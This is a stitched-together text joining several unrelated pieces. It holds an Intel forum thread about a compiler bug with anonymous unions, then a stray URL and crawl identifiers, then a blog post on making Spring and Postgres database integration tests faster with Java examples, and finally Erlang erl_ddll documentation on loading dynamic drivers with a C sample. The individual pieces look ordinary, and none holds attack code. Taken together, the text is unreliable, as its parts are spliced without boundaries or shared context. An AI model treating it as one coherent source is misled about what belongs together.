Just letting you know that this issue is a bug in the compiler and a fix is being implemented and should be in the next update release. I'll let you know as soon as the release with the fix is out. Unfortunately, there's no workaround for this issue other than for you avoiding the anonymous union in your code. Again,.thanks for catching this bug and for the patience through this. _Kittur Thanks for the update. Unfortunately there is such an anonymous union in the <algorithm> header for gcc 4.8 and higher so the compiler is effectively incompatible with recent versions of gcc. gcc 4.4 does not appear to have any anonymous unions so the only way to avoid this bug when compiling against gcc is to use older versions. Any updates on when a fix for this issue will be realeased? Thanks. Hi Mathew, Yes, the issue has been fixed in the next major release (16.0). BTW, the 16.0 beta release was just launched as well. You can get all related information on how to participate in the beta as well at: Could you please confirm with the above beta release if the issue is fixed? Appreciate much, for your patience through this. _Kittur Hi Mathew, Just letting you know that this issue is fixed in the latest 16 beta version that you can test it out with, thanks. _Kittur
https://community.intel.com/t5/Intel-C-Compiler/Pure-Virtual-Function-Incorrectly-Inlined-by-IPO-w-Anonymous/td-p/1032194
CC-MAIN-2021-39
refinedweb
1,722
66.33
Probably we all saw projects where running all the tests took about 30 mins, it was possible only using command line, and required remote debugging. That's insane. But fortunately it's not the only way. Let's do a few tests and see the numbers. By no means it's a benchmark. I just want to show the orders of magnitude. All the following tests use Postgres and run on my old, cheap desktop. Sample app: Spring-boot, Flyway, JPA Let's see a typical spring-boot application with flyway and hibernate jpa: @SpringBootApplication public class Application { public static void main(String[] args) {SpringApplication.run(Application.class, args);} } @Entity @Builder class SampleEntity { @GeneratedValue @Id int id; String name; int age; } @Service class ExpensiveService { public ExpensiveService(Repo repo) { throw new RuntimeException("too expensive for our tests"); } } interface Repo extends Repository<SampleEntity, Integer> { Long countByNameAndAge(String name, int age); }Of course the startup time of the whole application can be arbitrary long depending on your app. So as a start let's setup db-only tests. @RunWith(SpringRunner.class) @AutoConfigureTestDatabase(replace = Replace.NONE) @DataJpaTest public class RepoTest extends DbTest { @Autowired Repo repo; @Autowired TestEntityManager testEntityManager; @Test public void should_count_by_age_and_name() { testEntityManager.persistAndFlush(SampleEntity.builder().age(4).name("john").build()); testEntityManager.persistAndFlush(SampleEntity.builder().age(5).name("john").build()); testEntityManager.persistAndFlush(SampleEntity.builder().age(5).name("john").build()); long count = repo.countByNameAndAge("john", 5); assertThat(count).isEqualTo(2); } } Without optimisationsNo database is installed, so for sure it will take some time to start one. After compilation is done, ./gradlew test --rerun-taskstakes ~14.4s. When we repeat the same test using Spring's @Repeat(20), it takes ~15.2s. Running it from withing IDE using Shift-F10 gives the same results so at least we don't have to switch to console and we can see clickable logs immediately. So what do we see in the logs? Before the first test starts, spring reports that jvm is running for ~11s. That includes jvm start and building spring context. Building spring context includes, among others, starting and preparing db (~6s), executing flyway's migrations (400ms), setting up hibernate as a jpa provider (~1s) Each test consists of 3 inserts, a search and a rollback. first test: ~300ms next one: ~100ms every other: ~50ms With running databaseThe most obvious improvement would be to have db up and running on the development machine. Let's do docker run --rm -p 5432:5432 postgres:9.6.1and then again Shift-F10. As expected we just saved 6s. Now, before 1st test, jvm is running ~5s. Without migrationsWhat else we can improve? Current config clears the database and run flyway migrations before first test. Although 400ms is not much, Flyway's migrations usually grow over time and in bigger projects it can take tens of seconds. Especially because some databases have really slow DDL operations. Often we work on some new queries and we don't modify db structure. So let's temporary disable db cleanup and therefore the need of flyway's migrations using .fullClean(__ -> {})and flyway's verification using environment variable flyway.enabled=false. Of course to make it convenient it should be handled by some feature switch but it's just a PoC. So now, it's ~4,6s and ~50ms for each spring's JPA test. And all running from IDE. Not bad. Sample app: No ORM Much more spectacular results we can get when we don't use any ORM. That's much common in small apps (e.g. microservices). Let's see a simple spring-boot, flyway, jdbc app: @SpringBootApplication @Repository @AllArgsConstructor(onConstructor = @__(@Autowired)) public class Repo { final JdbcTemplate jdbcTemplate; /** fails at first batch containing null */ public void save_ints_in_batches_by_two(ListIn this case we don't need Spring to run tests: ints) { jdbcTemplate.batchUpdate("insert into some_table values (?)", ints, 2, (ps, value) -> ps.setInt(1, value)); } /** executes stored function */ public int count() { return jdbcTemplate.queryForObject("select my_count()", Integer.class); } public static void main(String[] args) {SpringApplication.run(Repo.class, args);} } public class NgTest { Repo repo; @BeforeMethod public void prepareDb() { DataSource dataSource = StandaloneDbSetup.prepareDataSourceForTest(); repo = new Repo(new JdbcTemplate(dataSource)); } @Test public void should_insert_all_values() { repo.save_ints_in_batches_by_two(Arrays.asList(1,2,3,4,5)); int count = repo.count(); assertThat(count).isEqualTo(5); } @Test public void should_fail_on_batch_containing_null() { assertThatThrownBy(() -> repo.save_ints_in_batches_by_two(Arrays.asList(1,2,3,null,5)) ).isNotNull(); int count = repo.count(); assertThat(count).as("only 1st batch of size 2 should have succeeded") .isEqualTo(2); } } On a clean machine it takes ~6.5s. When Postgres is up, running those two tests takes 0.5s. Without FlywayAfter completely removing Flyway (migration and validation) using .buildSchema(__ -> {}).fullClean(__ ->{}), 2 tests takes: 220ms in total. One of them runs in 7ms. So instead of 2 tests let's run 20: 10 times each by using @Test(invocationCount = 10). Now, we run 20 tests. There were 2 groups of tests 1. 1 commit + 1 integrity violation; first test took 240ms, others 5-16ms 2. 3 commits; 20-24ms The whole execution time reported by IDE is less than 1.6s. And that's all without things like moving database to tmpfs, changing app, etc. All the changes can be done in one test superclass. Is it slower than normal unit tests? For sure. Is it slow? Not really. Full source: JPA, standalone. 4 komentarze :. Great post Piotrek, but you probably have some typo at the end of first code snippet (20-23) :) Thanks Paweł! fixed
http://blog.piotrturski.net/2017/09/database-integration-tests-are-slow.html?showComment=1505807531172
CC-MAIN-2021-25
refinedweb
909
51.24
The erl_ddll module can load and link a linked-in driver, if run-time loading and linking of shared objects, or dynamic libraries, is supported by the underlying operating system. start() -> {ok, Pid} | {error, Reason} Starts ddll_server. The error return values are the same as for gen_server. start_link() -> {ok, Pid} | {error, Reason} Starts ddll_server and links it to the calling process. The error return values are the same as for gen_server. stop() -> ok Stops ddll_server. load_driver(Path, Name) -> ok | {error, ErrorDescriptor} Name = string() | atom() Path = string() | atom() Loads and links the dynamic driver Name. Name must be sharable object/dynamic library. Two drivers with different Paths cannot be loaded under the same name. The number of dynamically loadable drivers are limited by the size of driver_tab in config.c. If the server is not started the caller will crash. unload_driver(Name) -> ok | {error, ErrorDescriptor} Name = string() | atom() Unloads the dynamic driver Name. This will fail if any port programs are running the code that is being unloaded. Linked-in driver cannot be unloaded. The process must previously have called load_driver/1 for the driver. There is no guarantee that the memory where the driver was loaded is freed. This depends on the underlying operating system. If the server is not started the caller will crash. loaded_drivers() -> {ok, DriverList} DriverList = [Driver()] Driver = string() Returns a list of all the available drivers, both (statically) linked-in and dynamically loaded ones. If the server is not started the caller will crash. format_error(ErrorDescriptor) -> string() Takes an ErrorDescriptor which has been returned by one of load_driver/2 and unload_driver/1 and returns a string which describes the error or warning. Except for the following minor changes, all information in Appendix E of Concurrent Programming in Erlang, second edition, still applies. The driver_entry struct has two new members: finish and handle. Before the driver is unloaded, the finish function is called, without arguments, to give the driver writer a chance to clean up and release memory allocated in driver_init. The member handle contains a pointer obtained from the operating system when the driver was loaded. Without this, the driver cannot be unloaded! The init function in struct driver_entry is not used anymore. After the driver is loaded, the function struct driver_entry *driver_init(void *) is called with handle as argument. If the operating system loader cannot find a function called driver_init, the driver will not be loaded. The driver_init function must initialize a struct driver_entry and return a pointer to it. Example: #include <stdio.h> #include "driver.h" static long my_start(); static int my_stop(), my_read(); static struct driver_entry my_driver_entry; /* * Initialize and return a driver entry struct */ struct driver_entry *driver_init(void *handle) { my_driver_entry.init = null_func; /* Not used */ my_driver_entry.start = my_start; my_driver_entry.stop = my_stop; my_driver_entry.output = my_read; my_driver_entry.ready_input = null_func; my_driver_entry.ready_output = null_func; my_driver_entry.driver_name = "my_driver"; my_driver_entry.finish = null_func; my_driver_entry.handle = handle; /* MUST set this!!! */ return &my_driver_entry; } The size of the driver_tab array, defined in config.c, limits the number of dynamically loadable drivers. Please refer to your C compiler or operating system documentation for information about producing a sharable object or DLL. The include file driver.h is found in the usr/include directory of the Erlang installation.
http://www.erlang.org/documentation/doc-5.0.2/lib/kernel-2.6.2/doc/html/erl_ddll.html
CC-MAIN-2014-42
refinedweb
531
52.15